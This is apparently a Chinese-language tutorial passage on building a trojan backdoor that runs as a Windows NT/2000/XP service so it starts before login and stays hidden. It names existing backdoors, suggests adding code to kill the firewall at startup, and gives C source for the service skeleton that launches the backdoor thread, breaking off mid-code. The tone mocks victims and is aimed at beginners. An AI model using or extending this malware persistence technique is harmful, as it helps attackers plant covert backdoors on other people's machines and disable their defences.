网络安全 频道

自己来做服务级的木马后门

以往大多数的木马/后门都是通过修改系统ini文件(比如Win.ini,System.ini)或修改注册表的RUN值来实现自启动的,还有更简单的是修改Autobat.exe(老大,地球不适合你,你还是回火星吧),但随着网络用户安全意识的提高,连我家旁边卖茶叶蛋的大妈都知道如何对付这些老方法了。为了适应新时代木马后门技术的发展要求,一种利用Windows NT/2000/XP系统服务的后门产生了,现在的WinShell,WinEggDrop等众人皆知的Telnte扩展后门都利用了这种方式。相信很多小菜们对这种后门技术并不了解,所以,我在这里就充个大头,给大家传授教业解解惑吧(受害MM目光呆滞,一脸绝望:有了你们这帮人,天下什么时候才能“无贼”啊?)。

前置原理

Windows NT/2000/XP提供的服务既可以指一种特定的Win32进程,也可以指内核模式的设备驱动程序。操作系统的一个称为“服务控制管理器SCM”的组件被用来装载和控制这两种类型的服务。当然,我们说的服务,是指的前者,即我们可以利用的服务是一个在Windows NT/2000/XP下执行的程序。当我们打开“控制面板管理工具服务”,就可以看到右边有一堆的服务。每一行指定了一个特定服务的属性,包括名称、描述、状态、启动类型、登录方式等。

“服务”本身是Windows NT/2000/XP下客户/服务器软件的合理选择,因为它提供了像Unix下后台程序Daemons(守护进程)的等价物,而且使得创建能够代表权限低的用户进行权限高的操作的程序成为可能。像我们熟知的RPC服务,病毒扫描程序以及备份程序都是很适合作为服务进程。

服务能被我们利用作为后门实现自启动,是因为它有三个很重要的特性:

1. 服务可以被指定为自启动,在利用传统的注册表修改RUN键值,添加ini自启动项等方法的基础上又多了一种选择。

2. 服务可以在任何用户登录前开始运行,我们可以在服务启动时加入杀防火墙的代码。

3. 服务是运行在后台的,如果不注意,天知道什么时候被人家装了后门。

服务大都是由服务控制程序在注册表中维护的一个信息数据库来管理的,每个服务在HKEY_LOCAL_MACHINESystemCurrentControlSetServices中都可以找到相应的一个关键项。服务区别于一般Windows NT/2000/XP程序的主要之处在于服务与服务控制管理程序的合作,在后面的编程中我们将会体会到这一点。

编程实现

一个完整的服务分为安装服务程序,主体服务程序和卸载服务程序。我们先来写服务的主体部分,示例代码如下:

Code:

void main()

{

SERVICE_TABLE_ENTRY ServiceTable[] = 

{

{"scuhkr", BDServiceMain},

{NULL, NULL} //"哨兵"

};

//连接到服务控制管理器

StartServiceCtrlDispatcher(ServiceTable);

}

上面代码中,我们先给出了一个SERVICE_TABLE_ENTRY结构数组,每个成员描述了调用进程提供的服务,这里我们只安装了一个服务名为Scuhkr的服务,后面的BDServiceMain()我们称之为服务主函数,通过回调该函数提供了服务入口地址,它原形的参数必须定义成如下形式:

VOID WINAPI BDServiceMain(

DWORD dwArgc, //lpszArgv参数个数

LPTSTR* lpszArgv //该数组第一个的参数指定了服务名,可以在后面被

              StartService()来调用

);

SERVICE_TABLE_ENTRY结构数组要求最后一个成员组都为NULL,我们称之为“哨兵”(所有值都为NULL),表示该服务表末尾。一个服务启动后,马上调用StartServiceCtrlDispatcher()通知服务控制程序服务正在执行,并提供服务函数的地址。StartServiceCtrlDispatcher()只需要一个至少有两SERVICE_TABLE_ENTRY结构的数组,它为每个服务启动一个线程,一直等到它们结束才返回。

本程序只提供了一个服务函数BDServiceMain(),下面我们来下完成这个函数的功能,示例代码如下:

void WINAPI BDServiceMain(DWORD dwArgc, LPTSTR *lpszArgv)

{

DWORD dwThreadId; //存放线程ID



//通过RegisterServiceCtrlHandler()与服务控制程序建立一个通信的协议。

//BDHandler()是我们的服务控制程序,它被可以被用来开始,暂停,恢复,停止服务等控制操作

if (!(ServiceStatusHandle = RegisterServiceCtrlHandler("scuhkr",

              BDHandler))) 

return;



//表示该服务私有

ServiceStatus.dwServiceType = SERVICE_WIN32_OWN_PROCESS;

//初始化服务,正在开始

ServiceStatus.dwCurrentState = SERVICE_START_PENDING; //

//服务可以接受的请求,这里我们只接受停止服务请求和暂停恢复请求

ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP

              | SERVICE_ACCEPT_PAUSE_CONTINUE;

//下面几个一般我们不大关心,全为0

ServiceStatus.dwServiceSpecificExitCode = 0;

ServiceStatus.dwWin32ExitCode     = 0;

ServiceStatus.dwCheckPoint         = 0;

ServiceStatus.dwWaitHint         = 0;

//必须调用SetServiceStatus()来响应服务控制程序的每次请求通知

SetServiceStatus(ServiceStatusHandle, &ServiceStatus);



//开始运行服务

ServiceStatus.dwCurrentState = SERVICE_RUNNING;

ServiceStatus.dwCheckPoint   = 0;

ServiceStatus.dwWaitHint   = 0;



SetServiceStatus(ServiceStatusHandle, &ServiceStatus);

//我们用一个事件对象来控制服务的同步

if (!(hEvent=CreateEvent(NULL, FALSE, FALSE, NULL)))

return;



ServiceStatus.dwCurrentState = SERVICE_START_PENDING;

ServiceStatus.dwCheckPoint   = 0;

ServiceStatus.dwWaitHint   = 0;



SetServiceStatus(ServiceStatusHandle, &ServiceStatus);

//开线程来启动我们的后门程序

if (!(hThread=CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)MainFn, (LPVOID)0, 0, 

&dwThreadId)))



0
相关文章